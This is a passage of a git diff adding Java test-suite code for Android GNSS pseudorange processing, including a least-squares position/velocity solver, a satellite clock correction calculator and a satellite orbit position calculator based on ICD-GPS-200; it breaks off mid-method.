+ Log.d(
+ TAG,
+ "Velocity ENU Mps: "
+ + mVelocitySolutionEnuMps[0]
+ + " "
+ + mVelocitySolutionEnuMps[1]
+ + " "
+ + mVelocitySolutionEnuMps[2]);
+ mPositionVelocityUncertaintyEnu[3] = positionVelocityUncertaintyEnu[3];
+ mPositionVelocityUncertaintyEnu[4] = positionVelocityUncertaintyEnu[4];
+ mPositionVelocityUncertaintyEnu[5] = positionVelocityUncertaintyEnu[5];
+ Log.d(TAG,
+ "Velocity Uncertainty ENU Mps :"
+ + mPositionVelocityUncertaintyEnu[3]
+ + " "
+ + mPositionVelocityUncertaintyEnu[4]
+ + " "
+ + mPositionVelocityUncertaintyEnu[5]);
+ }
+ mFirstUsefulMeasurementSet = false;
+ } else {
+ Log.d(
+ TAG,
+ "Less than four satellites with SNR above threshold visible ... "
+ + "no position is calculated!");
+
+ mPositionSolutionLatLngDeg[0] = Double.NaN;
+ mPositionSolutionLatLngDeg[1] = Double.NaN;
+ mPositionSolutionLatLngDeg[2] = Double.NaN;
+ mVelocitySolutionEnuMps[0] = Double.NaN;
+ mVelocitySolutionEnuMps[1] = Double.NaN;
+ mVelocitySolutionEnuMps[2] = Double.NaN;
+ }
+ }
+
+ private static boolean isGpsL5FrequencyHz(float carrierFrequencyHz) {
+ return carrierFrequencyHz >= GPS_L5_FREQ_HZ_LOWER_BOUND
+ && carrierFrequencyHz <= GPS_L5_FREQ_HZ_UPPER_BOUND;
+ }
+
+ private boolean isEmptyNavMessage(GpsNavMessageProto navMessageProto) {
+ if(navMessageProto.iono == null)return true;
+ if(navMessageProto.ephemerids.length ==0)return true;
+ return false;
+ }
+
+ private boolean navMessageProtoContainsSvid(GpsNavMessageProto navMessageProto, int svid) {
+ List<GpsEphemerisProto> ephemeridesList =
+ new ArrayList<GpsEphemerisProto>(Arrays.asList(navMessageProto.ephemerids));
+ for (GpsEphemerisProto ephProtoFromList : ephemeridesList) {
+ if (ephProtoFromList.prn == svid) {
+ return true;
+ }
+ }
+ return false;
+ }
+
+ /**
+ * Calculates ECEF least square position and velocity solutions from an array of
+ * {@link GpsMeasurement} in meters and meters per second and store the result in
+ * {@code positionVelocitySolutionEcef}
+ */
+ private void performPositionVelocityComputationEcef(
+ UserPositionVelocityWeightedLeastSquare userPositionVelocityLeastSquare,
+ GpsMeasurement[] usefulSatellitesToReceiverMeasurements,
+ Long[] usefulSatellitesToTOWNs,
+ long largestTowNs,
+ double arrivalTimeSinceGPSWeekNs,
+ int dayOfYear1To366,
+ int gpsWeekNumber,
+ double[] positionVelocitySolutionEcef,
+ double[] positionVelocityUncertaintyEnu)
+ throws Exception {
+
+ List<GpsMeasurementWithRangeAndUncertainty> usefulSatellitesToPseudorangeMeasurements =
+ UserPositionVelocityWeightedLeastSquare.computePseudorangeAndUncertainties(
+ Arrays.asList(usefulSatellitesToReceiverMeasurements),
+ usefulSatellitesToTOWNs,
+ largestTowNs);
+
+ // calculate iterative least square position solution and velocity solutions
+ userPositionVelocityLeastSquare.calculateUserPositionVelocityLeastSquare(
+ mGpsNavMessageProtoUsed,
+ usefulSatellitesToPseudorangeMeasurements,
+ arrivalTimeSinceGPSWeekNs * SECONDS_PER_NANO,
+ gpsWeekNumber,
+ dayOfYear1To366,
+ positionVelocitySolutionEcef,
+ positionVelocityUncertaintyEnu);
+
+ Log.d(
+ TAG,
+ "Least Square Position Solution in ECEF meters: "
+ + positionVelocitySolutionEcef[0]
+ + " "
+ + positionVelocitySolutionEcef[1]
+ + " "
+ + positionVelocitySolutionEcef[2]);
+ Log.d(TAG, "Estimated Receiver clock offset in meters: " + positionVelocitySolutionEcef[3]);
+
+ Log.d(TAG, "Velocity Solution in ECEF Mps: "
+ + positionVelocitySolutionEcef[4]
+ + " "
+ + positionVelocitySolutionEcef[5]
+ + " "
+ + positionVelocitySolutionEcef[6]);
+ Log.d(TAG, "Estimated Reciever clock offset rate in mps: " + positionVelocitySolutionEcef[7]);
+ }
+
+ /**
+ * Reads the navigation message from the SUPL server by creating a Stubby client to Stubby server
+ * that wraps the SUPL server. The input is the time in nanoseconds since the GPS epoch at which
+ * the navigation message is required and the output is a {@link GpsNavMessageProto}
+ *
+ * @throws IOException
+ * @throws UnknownHostException
+ */
+ private GpsNavMessageProto getSuplNavMessage(long latE7, long lngE7)
+ throws UnknownHostException, IOException {
+ SuplRrlpController suplRrlpController =
+ new SuplRrlpController(SUPL_SERVER_NAME, SUPL_SERVER_PORT);
+ GpsNavMessageProto navMessageProto = suplRrlpController.generateNavMessage(latE7, lngE7);
+
+ return navMessageProto;
+ }
+
+ /** Sets a rough location of the receiver that can be used to request SUPL assistance data */
+ public void setReferencePosition(int latE7, int lngE7, int altE7) {
+ if (mReferenceLocation == null) {
+ mReferenceLocation = new int[3];
+ }
+ mReferenceLocation[0] = latE7;
+ mReferenceLocation[1] = lngE7;
+ mReferenceLocation[2] = altE7;
+ }
+
+ /** Returns the last computed weighted least square position solution */
+ public double[] getPositionSolutionLatLngDeg() {
+ return mPositionSolutionLatLngDeg;
+ }
+
+ /** Returns the last computed Velocity solution */
+ public double[] getVelocitySolutionEnuMps() {
+ return mVelocitySolutionEnuMps;
+ }
+
+ /** Returns the last computed position velocity uncertainties in meters and meter per seconds,
+ * consecutively. */
+ public double[] getPositionVelocityUncertaintyEnu() {
+ return mPositionVelocityUncertaintyEnu;
+ }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/PseudorangeSmoother.java b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/PseudorangeSmoother.java
new file mode 100644
index 0000000..ba98152
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/PseudorangeSmoother.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss.pseudorange;
+
+import java.util.List;
+
+/**
+ * Interface for smoothing a list of {@link GpsMeasurementWithRangeAndUncertainty} instances
+ * received at a point of time.
+ */
+interface PseudorangeSmoother {
+
+ /**
+ * Takes an input list of {@link GpsMeasurementWithRangeAndUncertainty} instances and returns a
+ * new list that contains smoothed pseudorange measurements.
+ *
+ * <p>The input list is of size {@link GpsNavigationMessageStore#MAX_NUMBER_OF_SATELLITES} with
+ * not visible GPS satellites having null entries, and the returned new list is of the same size.
+ *
+ * <p>The method does not modify the input list.
+ */
+ List<GpsMeasurementWithRangeAndUncertainty> updatePseudorangeSmoothingResult(
+ List<GpsMeasurementWithRangeAndUncertainty> usefulSatellitesToGPSReceiverMeasurements);
+}
\ No newline at end of file
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/SatelliteClockCorrectionCalculator.java b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/SatelliteClockCorrectionCalculator.java
new file mode 100644
index 0000000..775ab7e
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/SatelliteClockCorrectionCalculator.java
@@ -0,0 +1,203 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.location.cts.gnss.pseudorange;
+import android.location.cts.gnss.nano.Ephemeris.GpsEphemerisProto;
+/**
+ * Calculate the GPS satellite clock correction based on parameters observed from the navigation
+ * message
+ * <p>Source: Page 88 - 90 of the ICD-GPS 200
+ */
+public class SatelliteClockCorrectionCalculator {
+ private static final double SPEED_OF_LIGHT_MPS = 299792458.0;
+ private static final double EARTH_UNIVERSAL_GRAVITATIONAL_CONSTANT_M3_SM2 = 3.986005e14;
+ private static final double RELATIVISTIC_CONSTANT_F = -4.442807633e-10;
+ private static final int SECONDS_IN_WEEK = 604800;
+ private static final double ACCURACY_TOLERANCE = 1.0e-11;
+ private static final int MAX_ITERATIONS = 100;
+ /**
+ * Compute the GPS satellite clock correction term in meters iteratively following page 88 - 90
+ * and 98 - 100 of the ICD GPS 200. The method returns a pair of satellite clock correction in
+ * meters and Kepler Eccentric Anomaly in Radians.
+ *
+ * @param ephemerisProto parameters of the navigation message
+ * @param receiverGpsTowAtTimeOfTransmission Reciever estimate of GPS time of week when signal was
+ * transmitted (seconds)
+ * @param receiverGpsWeekAtTimeOfTrasnmission Receiver estimate of GPS week when signal was
+ * transmitted (0-1024+)
+ * @throws Exception
+ */
+ public static SatClockCorrection calculateSatClockCorrAndEccAnomAndTkIteratively(
+ GpsEphemerisProto ephemerisProto, double receiverGpsTowAtTimeOfTransmission,
+ double receiverGpsWeekAtTimeOfTrasnmission) throws Exception {
+ // Units are not added in the variable names to have the same name as the ICD-GPS200
+ // Mean anomaly (radians)
+ double meanAnomalyRad;
+ // Kepler's Equation for Eccentric Anomaly iteratively (Radians)
+ double eccentricAnomalyRad;
+ // Semi-major axis of orbit (meters)
+ double a = ephemerisProto.rootOfA * ephemerisProto.rootOfA;
+ // Computed mean motion (radians/seconds)
+ double n0 = Math.sqrt(EARTH_UNIVERSAL_GRAVITATIONAL_CONSTANT_M3_SM2 / (a * a * a));
+ // Corrected mean motion (radians/seconds)
+ double n = n0 + ephemerisProto.deltaN;
+ // In the following, Receiver GPS week and ephemeris GPS week are used to correct for week
+ // rollover when calculating the time from clock reference epoch (tcSec)
+ double timeOfTransmissionIncludingRxWeekSec =
+ receiverGpsWeekAtTimeOfTrasnmission * SECONDS_IN_WEEK + receiverGpsTowAtTimeOfTransmission;
+ // time from clock reference epoch (seconds) page 88 ICD-GPS200
+ double tcSec = timeOfTransmissionIncludingRxWeekSec
+ - (ephemerisProto.week * SECONDS_IN_WEEK + ephemerisProto.toc);
+ // Correction for week rollover
+ tcSec = fixWeekRollover(tcSec);
+ double oldEcentricAnomalyRad = 0.0;
+ double newSatClockCorrectionSeconds = 0.0;
+ double relativisticCorrection = 0.0;
+ double changeInSatClockCorrection = 0.0;
+ // Initial satellite clock correction (unknown relativistic correction). Iterate to correct
+ // with the relativistic effect and obtain a stable
+ final double initSatClockCorrectionSeconds = ephemerisProto.af0
+ + ephemerisProto.af1 * tcSec
+ + ephemerisProto.af2 * tcSec * tcSec - ephemerisProto.tgd;
+ double satClockCorrectionSeconds = initSatClockCorrectionSeconds;
+ double tkSec;
+ int satClockCorrectionsCounter = 0;
+ do {
+ int eccentricAnomalyCounter = 0;
+ // time from ephemeris reference epoch (seconds) page 98 ICD-GPS200
+ tkSec = timeOfTransmissionIncludingRxWeekSec - (
+ ephemerisProto.week * SECONDS_IN_WEEK + ephemerisProto.toe
+ + satClockCorrectionSeconds);
+ // Correction for week rollover
+ tkSec = fixWeekRollover(tkSec);
+ // Mean anomaly (radians)
+ meanAnomalyRad = ephemerisProto.m0 + n * tkSec;
+ // eccentric anomaly (radians)
+ eccentricAnomalyRad = meanAnomalyRad;
+ // Iteratively solve for Kepler's eccentric anomaly according to ICD-GPS200 page 99
+ do {
+ oldEcentricAnomalyRad = eccentricAnomalyRad;
+ eccentricAnomalyRad =
+ meanAnomalyRad + ephemerisProto.e * Math.sin(eccentricAnomalyRad);
+ eccentricAnomalyCounter++;
+ if (eccentricAnomalyCounter > MAX_ITERATIONS) {
+ throw new Exception("Kepler Eccentric Anomaly calculation did not converge in "
+ + MAX_ITERATIONS + " iterations");
+ }
+ } while (Math.abs(oldEcentricAnomalyRad - eccentricAnomalyRad) > ACCURACY_TOLERANCE);
+ // relativistic correction term (seconds)
+ relativisticCorrection = RELATIVISTIC_CONSTANT_F * ephemerisProto.e
+ * ephemerisProto.rootOfA * Math.sin(eccentricAnomalyRad);
+ // satellite clock correction including relativistic effect
+ newSatClockCorrectionSeconds = initSatClockCorrectionSeconds + relativisticCorrection;
+ changeInSatClockCorrection =
+ Math.abs(satClockCorrectionSeconds - newSatClockCorrectionSeconds);
+ satClockCorrectionSeconds = newSatClockCorrectionSeconds;
+ satClockCorrectionsCounter++;
+ if (satClockCorrectionsCounter > MAX_ITERATIONS) {
+ throw new Exception("Satellite Clock Correction calculation did not converge in "
+ + MAX_ITERATIONS + " iterations");
+ }
+ } while (changeInSatClockCorrection > ACCURACY_TOLERANCE);
+ tkSec = timeOfTransmissionIncludingRxWeekSec - (
+ ephemerisProto.week * SECONDS_IN_WEEK + ephemerisProto.toe
+ + satClockCorrectionSeconds);
+ // return satellite clock correction (meters) and Kepler Eccentric Anomaly in Radians
+ return new SatClockCorrection(satClockCorrectionSeconds * SPEED_OF_LIGHT_MPS,
+ eccentricAnomalyRad, tkSec);
+ }
+
+ /**
+ * Calculates Satellite Clock Error Rate in (meters/second) by subtracting the Satellite
+ * Clock Error Values at t+0.5s and t-0.5s.
+ *
+ * <p>This approximation is more accurate than differentiating because both the orbital
+ * and relativity terms have non-linearities that are not easily differentiable.
+ */
+ public static double calculateSatClockCorrErrorRate(
+ GpsEphemerisProto ephemerisProto, double receiverGpsTowAtTimeOfTransmissionSeconds,
+ double receiverGpsWeekAtTimeOfTrasnmission) throws Exception {
+ SatClockCorrection satClockCorrectionPlus = calculateSatClockCorrAndEccAnomAndTkIteratively(
+ ephemerisProto, receiverGpsTowAtTimeOfTransmissionSeconds + 0.5,
+ receiverGpsWeekAtTimeOfTrasnmission);
+ SatClockCorrection satClockCorrectionMinus = calculateSatClockCorrAndEccAnomAndTkIteratively(
+ ephemerisProto, receiverGpsTowAtTimeOfTransmissionSeconds - 0.5,
+ receiverGpsWeekAtTimeOfTrasnmission);
+ double satelliteClockErrorRate = satClockCorrectionPlus.satelliteClockCorrectionMeters
+ - satClockCorrectionMinus.satelliteClockCorrectionMeters;
+ return satelliteClockErrorRate;
+ }
+
+ /**
+ * Method to check for week rollover according to ICD-GPS 200 page 98.
+ *
+ * <p>Result should be between -302400 and 302400 if the ephemeris is within one week of
+ * transmission, otherwise it is adjusted to the correct range
+ */
+ private static double fixWeekRollover(double time) {
+ double correctedTime = time;
+ if (time > SECONDS_IN_WEEK / 2.0) {
+ correctedTime = time - SECONDS_IN_WEEK;
+ }
+ if (time < -SECONDS_IN_WEEK / 2.0) {
+ correctedTime = time + SECONDS_IN_WEEK;
+ }
+ return correctedTime;
+ }
+ /**
+ *
+ * Class containing the satellite clock correction parameters: The satellite clock correction in
+ * meters, Kepler Eccentric Anomaly in Radians and the time from the reference epoch in seconds.
+ */
+ public static class SatClockCorrection {
+ /**
+ * Satellite clock correction in meters
+ */
+ public final double satelliteClockCorrectionMeters;
+ /**
+ * Satellite clock correction in meters
+ */
+ public final double satelliteClockRateCorrectionMetersPerSecond;
+ /**
+ * Kepler Eccentric Anomaly in Radians
+ */
+ public final double eccentricAnomalyRadians;
+ /**
+ * Time from the reference epoch in Seconds
+ */
+ public final double timeFromRefEpochSec;
+ /**
+ * Constructor
+ */
+ public SatClockCorrection(double satelliteClockCorrectionMeters, double eccentricAnomalyRadians,
+ double timeFromRefEpochSec) {
+ this.satelliteClockCorrectionMeters = satelliteClockCorrectionMeters;
+ this.eccentricAnomalyRadians = eccentricAnomalyRadians;
+ this.timeFromRefEpochSec = timeFromRefEpochSec;
+ this.satelliteClockRateCorrectionMetersPerSecond = Double.NaN;
+ }
+ /**
+ * Alternative Constructor
+ */
+ public SatClockCorrection(double satelliteClockCorrectionMeters,
+ double satelliteClockRateCorrectionMeters, double eccentricAnomalyRadians,
+ double timeFromRefEpochSec){
+ this.satelliteClockCorrectionMeters = satelliteClockCorrectionMeters;
+ this.eccentricAnomalyRadians = eccentricAnomalyRadians;
+ this.timeFromRefEpochSec = timeFromRefEpochSec;
+ this.satelliteClockRateCorrectionMetersPerSecond = satelliteClockRateCorrectionMeters;
+ }
+ }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/SatellitePositionCalculator.java b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/SatellitePositionCalculator.java
new file mode 100644
index 0000000..9199c75
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/SatellitePositionCalculator.java
@@ -0,0 +1,298 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss.pseudorange;
+
+import android.location.cts.gnss.pseudorange.SatelliteClockCorrectionCalculator.SatClockCorrection;
+import android.location.cts.gnss.nano.Ephemeris.GpsEphemerisProto;
+
+/* Class to calculate GPS satellite positions from the ephemeris data */
+public class SatellitePositionCalculator {
+ private static final double SPEED_OF_LIGHT_MPS = 299792458.0;
+ private static final double UNIVERSAL_GRAVITATIONAL_PARAMETER_M3_SM2 = 3.986005e14;
+ private static final int NUMBER_OF_ITERATIONS_FOR_SAT_POS_CALCULATION = 5;
+ private static final double EARTH_ROTATION_RATE_RAD_PER_SEC = 7.2921151467e-5;
+
+ /**
+ *
+ * Calculate GPS satellite position and velocity from ephemeris including the Sagnac effect
+ * starting from unknown user to satellite distance and speed. So we start from an initial guess
+ * of the user to satellite range and range rate and iterate to include the Sagnac effect. Few
+ * iterations are enough to achieve a satellite position with millimeter accuracy.
+ * A {@code PositionAndVelocity} class is returned containing satellite position in meters
+ * (x, y and z) and velocity in meters per second (x, y, z)
+ *
+ * <p>Satelite position and velocity equations are obtained from:
+ * http://www.gps.gov/technical/icwg/ICD-GPS-200C.pdf) pages 94 - 101 and
+ * http://fenrir.naruoka.org/download/autopilot/note/080205_gps/gps_velocity.pdf
+ *
+ * @param ephemerisProto parameters of the navigation message
+ * @param receiverGpsTowAtTimeOfTransmissionCorrectedSec Receiver estimate of GPS time of week
+ * when signal was transmitted corrected with the satellite clock drift (seconds)
+ * @param receiverGpsWeekAtTimeOfTransmission Receiver estimate of GPS week when signal was
+ * transmitted (0-1024+)
+ * @param userPosXMeters Last known user x-position (if known) [meters]
+ * @param userPosYMeters Last known user y-position (if known) [meters]
+ * @param userPosZMeters Last known user z-position (if known) [meters]
+ * @throws Exception
+ */
+ public static PositionAndVelocity calculateSatellitePositionAndVelocityFromEphemeris
+ (GpsEphemerisProto ephemerisProto, double receiverGpsTowAtTimeOfTransmissionCorrectedSec,
+ int receiverGpsWeekAtTimeOfTransmission,
+ double userPosXMeters,
+ double userPosYMeters,
+ double userPosZMeters) throws Exception {
+
+ // lets start with a first user to sat distance guess of 70 ms and zero velocity
+ RangeAndRangeRate userSatRangeAndRate = new RangeAndRangeRate
+ (0.070 * SPEED_OF_LIGHT_MPS, 0.0 /* range rate*/);
+
+ // To apply sagnac effect correction, We are starting from an approximate guess of the user to
+ // satellite range, iterate 3 times and that should be enough to reach millimeter accuracy
+ PositionAndVelocity satPosAndVel = new PositionAndVelocity(0.0, 0.0, 0.0, 0.0, 0.0, 0.0);
+ PositionAndVelocity userPosAndVel =
+ new PositionAndVelocity(userPosXMeters, userPosYMeters, userPosZMeters,
+ 0.0 /* user velocity x*/, 0.0 /* user velocity y*/, 0.0 /* user velocity z */);
+ for (int i = 0; i < NUMBER_OF_ITERATIONS_FOR_SAT_POS_CALCULATION; i++) {
+ calculateSatellitePositionAndVelocity(ephemerisProto,
+ receiverGpsTowAtTimeOfTransmissionCorrectedSec, receiverGpsWeekAtTimeOfTransmission,
+ userSatRangeAndRate, satPosAndVel);
+ computeUserToSatelliteRangeAndRangeRate(userPosAndVel, satPosAndVel, userSatRangeAndRate);
+ }
+ return satPosAndVel;
+ }
+
+ /**
+ * Calculate GPS satellite position and velocity from ephemeris based on the ICD-GPS-200.
+ * Satellite position in meters (x, y and z) and velocity in meters per second (x, y, z) are set
+ * in the passed {@code PositionAndVelocity} instance.
+ *
+ * <p>Sources: http://www.gps.gov/technical/icwg/ICD-GPS-200C.pdf) pages 94 - 101 and
+ * http://fenrir.naruoka.org/download/autopilot/note/080205_gps/gps_velocity.pdf
+ *
+ * @param ephemerisProto parameters of the navigation message
+ * @param receiverGpsTowAtTimeOfTransmissionCorrected Receiver estimate of GPS time of week when
+ * signal was transmitted corrected with the satellite clock drift (seconds)
+ * @param receiverGpsWeekAtTimeOfTransmission Receiver estimate of GPS week when signal was
+ * transmitted (0-1024+)
+ * @param userSatRangeAndRate user to satellite range and range rate
+ * @param satPosAndVel Satellite position and velocity instance in which the method results will
+ * be set
+ * @throws Exception
+ */
+ public static void calculateSatellitePositionAndVelocity(GpsEphemerisProto ephemerisProto,
+ double receiverGpsTowAtTimeOfTransmissionCorrected, int receiverGpsWeekAtTimeOfTransmission,
+ RangeAndRangeRate userSatRangeAndRate, PositionAndVelocity satPosAndVel) throws Exception {
+
+ // Calculate satellite clock correction (meters), Kepler Eccentric anomaly (radians) and time
+ // from ephemeris refrence epoch (tkSec) iteratively
+ SatClockCorrection satClockCorrectionValues =
+ SatelliteClockCorrectionCalculator.calculateSatClockCorrAndEccAnomAndTkIteratively(
+ ephemerisProto, receiverGpsTowAtTimeOfTransmissionCorrected,
+ receiverGpsWeekAtTimeOfTransmission);
+
+ double eccentricAnomalyRadians = satClockCorrectionValues.eccentricAnomalyRadians;
+ double tkSec = satClockCorrectionValues.timeFromRefEpochSec;
+
+ // True_anomaly (angle from perigee)
+ double trueAnomalyRadians = Math.atan2(
+ Math.sqrt(1.0 - ephemerisProto.e * ephemerisProto.e)
+ * Math.sin(eccentricAnomalyRadians),
+ Math.cos(eccentricAnomalyRadians) - ephemerisProto.e);
+
+ // Argument of latitude of the satellite
+ double argumentOfLatitudeRadians = trueAnomalyRadians + ephemerisProto.omega;
+
+ // Radius of satellite orbit
+ double radiusOfSatelliteOrbitMeters = ephemerisProto.rootOfA * ephemerisProto.rootOfA
+ * (1.0 - ephemerisProto.e * Math.cos(eccentricAnomalyRadians));
+
+ // Radius correction due to second harmonic perturbations of the orbit
+ double radiusCorrectionMeters = ephemerisProto.crc
+ * Math.cos(2.0 * argumentOfLatitudeRadians) + ephemerisProto.crs
+ * Math.sin(2.0 * argumentOfLatitudeRadians);
+ // Argument of latitude correction due to second harmonic perturbations of the orbit
+ double argumentOfLatitudeCorrectionRadians = ephemerisProto.cuc
+ * Math.cos(2.0 * argumentOfLatitudeRadians) + ephemerisProto.cus
+ * Math.sin(2.0 * argumentOfLatitudeRadians);
+ // Correction to inclination due to second harmonic perturbations of the orbit
+ double inclinationCorrectionRadians = ephemerisProto.cic
+ * Math.cos(2.0 * argumentOfLatitudeRadians) + ephemerisProto.cis
+ * Math.sin(2.0 * argumentOfLatitudeRadians);
+
+ // Corrected radius of satellite orbit
+ radiusOfSatelliteOrbitMeters += radiusCorrectionMeters;
+ // Corrected argument of latitude
+ argumentOfLatitudeRadians += argumentOfLatitudeCorrectionRadians;
+ // Corrected inclination
+ double inclinationRadians =
+ ephemerisProto.i0 + inclinationCorrectionRadians + ephemerisProto.iDot * tkSec;
+
+ // Position in orbital plane
+ double xPositionMeters = radiusOfSatelliteOrbitMeters * Math.cos(argumentOfLatitudeRadians);
+ double yPositionMeters = radiusOfSatelliteOrbitMeters * Math.sin(argumentOfLatitudeRadians);
+
+ // Corrected longitude of the ascending node (signal propagation time is included to compensate
+ // for the Sagnac effect)
+ double omegaKRadians = ephemerisProto.omega0
+ + (ephemerisProto.omegaDot - EARTH_ROTATION_RATE_RAD_PER_SEC) * tkSec
+ - EARTH_ROTATION_RATE_RAD_PER_SEC
+ * (ephemerisProto.toe + userSatRangeAndRate.rangeMeters / SPEED_OF_LIGHT_MPS);
+
+ // compute the resulting satellite position
+ double satPosXMeters = xPositionMeters * Math.cos(omegaKRadians) - yPositionMeters
+ * Math.cos(inclinationRadians) * Math.sin(omegaKRadians);
+ double satPosYMeters = xPositionMeters * Math.sin(omegaKRadians) + yPositionMeters
+ * Math.cos(inclinationRadians) * Math.cos(omegaKRadians);
+ double satPosZMeters = yPositionMeters * Math.sin(inclinationRadians);
+
+ // Satellite Velocity Computation using the broadcast ephemeris
+ // http://fenrir.naruoka.org/download/autopilot/note/080205_gps/gps_velocity.pdf
+ // Units are not added in some of the variable names to have the same name as the ICD-GPS200
+ // Semi-major axis of orbit (meters)
+ double a = ephemerisProto.rootOfA * ephemerisProto.rootOfA;
+ // Computed mean motion (radians/seconds)
+ double n0 = Math.sqrt(UNIVERSAL_GRAVITATIONAL_PARAMETER_M3_SM2 / (a * a * a));
+ // Corrected mean motion (radians/seconds)
+ double n = n0 + ephemerisProto.deltaN;
+ // Derivative of mean anomaly (radians/seconds)
+ double meanAnomalyDotRadPerSec = n;
+ // Derivative of eccentric anomaly (radians/seconds)
+ double eccentricAnomalyDotRadPerSec =
+ meanAnomalyDotRadPerSec / (1.0 - ephemerisProto.e * Math.cos(eccentricAnomalyRadians));
+ // Derivative of true anomaly (radians/seconds)
+ double trueAnomalydotRadPerSec = Math.sin(eccentricAnomalyRadians)
+ * eccentricAnomalyDotRadPerSec
+ * (1.0 + ephemerisProto.e * Math.cos(trueAnomalyRadians)) / (
+ Math.sin(trueAnomalyRadians)
+ * (1.0 - ephemerisProto.e * Math.cos(eccentricAnomalyRadians)));
+ // Derivative of argument of latitude (radians/seconds)
+ double argumentOfLatitudeDotRadPerSec = trueAnomalydotRadPerSec + 2.0 * (ephemerisProto.cus
+ * Math.cos(2.0 * argumentOfLatitudeRadians) - ephemerisProto.cuc
+ * Math.sin(2.0 * argumentOfLatitudeRadians)) * trueAnomalydotRadPerSec;
+ // Derivative of radius of satellite orbit (m/s)
+ double radiusOfSatelliteOrbitDotMPerSec = a * ephemerisProto.e
+ * Math.sin(eccentricAnomalyRadians) * n
+ / (1.0 - ephemerisProto.e * Math.cos(eccentricAnomalyRadians)) + 2.0 * (
+ ephemerisProto.crs * Math.cos(2.0 * argumentOfLatitudeRadians)
+ - ephemerisProto.crc * Math.sin(2.0 * argumentOfLatitudeRadians))
+ * trueAnomalydotRadPerSec;
+ // Derivative of the inclination (radians/seconds)
+ double inclinationDotRadPerSec = ephemerisProto.iDot + (ephemerisProto.cis
+ * Math.cos(2.0 * argumentOfLatitudeRadians) - ephemerisProto.cic
+ * Math.sin(2.0 * argumentOfLatitudeRadians)) * 2.0 * trueAnomalydotRadPerSec;
+
+ double xVelocityMPS = radiusOfSatelliteOrbitDotMPerSec * Math.cos(argumentOfLatitudeRadians)
+ - yPositionMeters * argumentOfLatitudeDotRadPerSec;
+ double yVelocityMPS = radiusOfSatelliteOrbitDotMPerSec * Math.sin(argumentOfLatitudeRadians)
+ + xPositionMeters * argumentOfLatitudeDotRadPerSec;
+
+ // Corrected rate of right ascension including compensation for the Sagnac effect
+ double omegaDotRadPerSec = ephemerisProto.omegaDot - EARTH_ROTATION_RATE_RAD_PER_SEC
+ * (1.0 + userSatRangeAndRate.rangeRateMetersPerSec / SPEED_OF_LIGHT_MPS);
+ // compute the resulting satellite velocity
+ double satVelXMPS =
+ (xVelocityMPS - yPositionMeters * Math.cos(inclinationRadians) * omegaDotRadPerSec)
+ * Math.cos(omegaKRadians) - (xPositionMeters * omegaDotRadPerSec + yVelocityMPS
+ * Math.cos(inclinationRadians) - yPositionMeters * Math.sin(inclinationRadians)
+ * inclinationDotRadPerSec) * Math.sin(omegaKRadians);
+ double satVelYMPS =
+ (xVelocityMPS - yPositionMeters * Math.cos(inclinationRadians) * omegaDotRadPerSec)
+ * Math.sin(omegaKRadians) + (xPositionMeters * omegaDotRadPerSec + yVelocityMPS
+ * Math.cos(inclinationRadians) - yPositionMeters * Math.sin(inclinationRadians)
+ * inclinationDotRadPerSec) * Math.cos(omegaKRadians);
+ double satVelZMPS = yVelocityMPS * Math.sin(inclinationRadians) + yPositionMeters
+ * Math.cos(inclinationRadians) * inclinationDotRadPerSec;
+
+ satPosAndVel.positionXMeters = satPosXMeters;
+ satPosAndVel.positionYMeters = satPosYMeters;
+ satPosAndVel.positionZMeters = satPosZMeters;
+ satPosAndVel.velocityXMetersPerSec = satVelXMPS;
+ satPosAndVel.velocityYMetersPerSec = satVelYMPS;
+ satPosAndVel.velocityZMetersPerSec = satVelZMPS;
+ }
+
+ /**
+ * Compute and set the passed {@code RangeAndRangeRate} instance containing user to satellite
+ * range (meters) and range rate (m/s) given the user position (ECEF meters), user velocity (m/s),
+ * satellite position (ECEF meters) and satellite velocity (m/s).
+ */
+ private static void computeUserToSatelliteRangeAndRangeRate(PositionAndVelocity userPosAndVel,
+ PositionAndVelocity satPosAndVel, RangeAndRangeRate rangeAndRangeRate) {
+ double dXMeters = satPosAndVel.positionXMeters - userPosAndVel.positionXMeters;
+ double dYMeters = satPosAndVel.positionYMeters - userPosAndVel.positionYMeters;
+ double dZMeters = satPosAndVel.positionZMeters - userPosAndVel.positionZMeters;
+ // range in meters
+ double rangeMeters = Math.sqrt(dXMeters * dXMeters + dYMeters * dYMeters + dZMeters * dZMeters);
+ // range rate in meters / second
+ double rangeRateMetersPerSec =
